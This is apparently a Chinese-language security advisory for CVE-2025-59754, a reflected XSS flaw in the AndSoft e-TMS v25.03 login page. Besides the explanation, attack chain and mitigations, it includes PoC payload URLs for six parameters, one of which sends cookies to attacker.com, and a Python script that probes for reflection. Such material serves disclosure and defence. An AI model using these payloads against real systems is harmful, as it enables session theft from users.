IPBUF安全漏洞报告
English
CVE-2025-59754 CVSS 6.1 中危

CVE-2025-59754:AndSoft e-TMS 反射型XSS漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59754
漏洞类型
反射型跨站脚本(Reflected XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AndSoft e-TMS

相关标签

XSS反射型XSS跨站脚本AndSofte-TMS运输管理系统CVE-2025-59754中危漏洞INCIBE

漏洞概述

CVE-2025-59754是AndSoft公司开发的e-TMS(Electronic Transport Management System,电子运输管理系统)v25.03版本中存在的一个反射型跨站脚本(Reflected XSS)漏洞。该漏洞于2025年10月2日由西班牙国家网络安全研究所(INCIBE)披露,CVSS 3.1评分为6.1分,属于中危级别漏洞。

AndSoft e-TMS是一款广泛应用于物流和运输行业的运输管理系统,用于管理订单、车辆调度、运输跟踪等业务。由于该系统涉及企业核心业务数据,其安全性至关重要。

该漏洞存在于系统的登录页面路径 `/clt/LOGINFRM_original.ASP` 中,具体涉及多个URL参数,包括 `l`、`demo`、`demo2`、`TNTLOGIN`、`UO` 和 `SuppConn`。这些参数在接收用户输入后未经过充分的过滤和转义处理,直接将用户可控的数据输出到HTML页面中,导致攻击者可以构造恶意的URL链接,在受害者的浏览器中执行任意JavaScript代码。

由于该漏洞无需认证即可利用(PR:N),且仅通过网络即可发起攻击(AV:N),攻击者可以通过钓鱼邮件、即时通讯工具等方式向受害者发送恶意链接,诱使其点击后即可触发XSS攻击,从而窃取用户的会话凭证、敏感信息,或以受害者身份执行未授权操作。

技术细节

该漏洞的根本原因在于e-TMS v25.03的登录页面 `/clt/LOGINFRM_original.ASP` 对用户输入的参数缺乏足够的验证和输出编码。具体而言,以下六个参数存在反射型XSS漏洞:

1. **l参数**:用于传递登录相关的标识信息
2. **demo参数**:可能用于演示模式标识
3. **demo2参数**:演示模式的辅助参数
4. **TNTLOGIN参数**:与TNT登录相关的参数
5. **UO参数**:用户组织(User Organization)相关参数
6. **SuppConn参数**:供应商连接(Supplier Connection)相关参数

当这些参数被服务器接收后,应用程序直接将参数值嵌入到返回的HTML页面中,而没有进行HTML实体编码(如将 `<` 编码为 `&lt;`,`>` 编码为 `&gt;` 等)。攻击者可以在这些参数中注入恶意的JavaScript代码,例如 `<script>alert(document.cookie)</script>` 或 `<img src=x onerror=...>` 等载荷。

利用方式:攻击者构造包含恶意Payload的URL,例如:
`https://target/clt/LOGINFRM_original.ASP?l=<script>alert('XSS')</script>`
当受害者通过浏览器访问该URL时,恶意脚本将在受害者的浏览器上下文中执行。由于该漏洞需要用户交互(UI:R),攻击者通常需要通过社会工程学手段(如钓鱼邮件)诱使受害者点击恶意链接。

成功利用后,攻击者可以窃取用户的会话Cookie、进行钓鱼攻击、重定向用户到恶意网站,或者利用浏览器的API进行进一步的攻击活动。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统为AndSoft e-TMS v25.03,通过公开信息或扫描确定目标部署了存在漏洞的登录页面 /clt/LOGINFRM_original.ASP。
STEP 2
步骤2:构造恶意URL
攻击者构造包含恶意JavaScript代码的URL,利用 'l'、'demo'、'demo2'、'TNTLOGIN'、'UO' 或 'SuppConn' 参数注入XSS Payload。
STEP 3
步骤3:投递恶意链接
攻击者通过钓鱼邮件、即时通讯工具或社交媒体等方式,将恶意URL发送给目标用户,利用社会工程学手段诱使用户点击。
STEP 4
步骤4:触发XSS
受害者点击恶意链接后,浏览器向目标服务器发起请求,服务器将未经过滤的用户输入直接返回到HTML页面中,导致恶意脚本在受害者浏览器中执行。
STEP 5
步骤5:恶意操作执行
攻击者利用执行的JavaScript代码窃取用户会话Cookie、进行钓鱼攻击、重定向用户到恶意网站,或以受害者身份执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-59754 - AndSoft e-TMS Reflected XSS PoC --> <!-- Vulnerable endpoint: /clt/LOGINFRM_original.ASP --> <!-- Vulnerable parameters: l, demo, demo2, TNTLOGIN, UO, SuppConn --> <!-- PoC 1: Basic XSS via 'l' parameter --> https://target-server/clt/LOGINFRM_original.ASP?l=<script>alert('XSS-CVE-2025-59754')</script> <!-- PoC 2: XSS via 'demo' parameter --> https://target-server/clt/LOGINFRM_original.ASP?demo=<script>alert(document.cookie)</script> <!-- PoC 3: XSS via 'TNTLOGIN' parameter --> https://target-server/clt/LOGINFRM_original.ASP?TNTLOGIN="><img src=x onerror=alert('XSS')> <!-- PoC 4: Cookie stealing via 'UO' parameter --> https://target-server/clt/LOGINFRM_original.ASP?UO=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- PoC 5: XSS via 'SuppConn' parameter with event handler --> https://target-server/clt/LOGINFRM_original.ASP?SuppConn=<svg/onload=alert('XSS-CVE-2025-59754')> <!-- Python exploit script for automated testing --> import requests target_url = "https://target-server/clt/LOGINFRM_original.ASP" vulnerable_params = ["l", "demo", "demo2", "TNTLOGIN", "UO", "SuppConn"] payload = "<script>alert('XSS')</script>" for param in vulnerable_params: response = requests.get(target_url, params={param: payload}) if payload in response.text: print(f"[+] Vulnerable parameter found: {param}") else: print(f"[-] Parameter not vulnerable: {param}")

影响范围

AndSoft e-TMS v25.03

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)对所有访问 /clt/LOGINFRM_original.ASP 的请求进行URL过滤,拦截包含可疑脚本代码的请求;2)在Web服务器层面配置输入过滤规则,阻止包含 `<script>`、`<img>`、`onerror=` 等常见XSS关键字的请求;3)部署Web应用防火墙(WAF)规则,对XSS攻击进行实时检测和拦截;4)加强用户安全意识培训,提醒员工不要点击来源不明的链接;5)为浏览器部署XSS过滤插件或启用浏览器内置的XSS防护功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表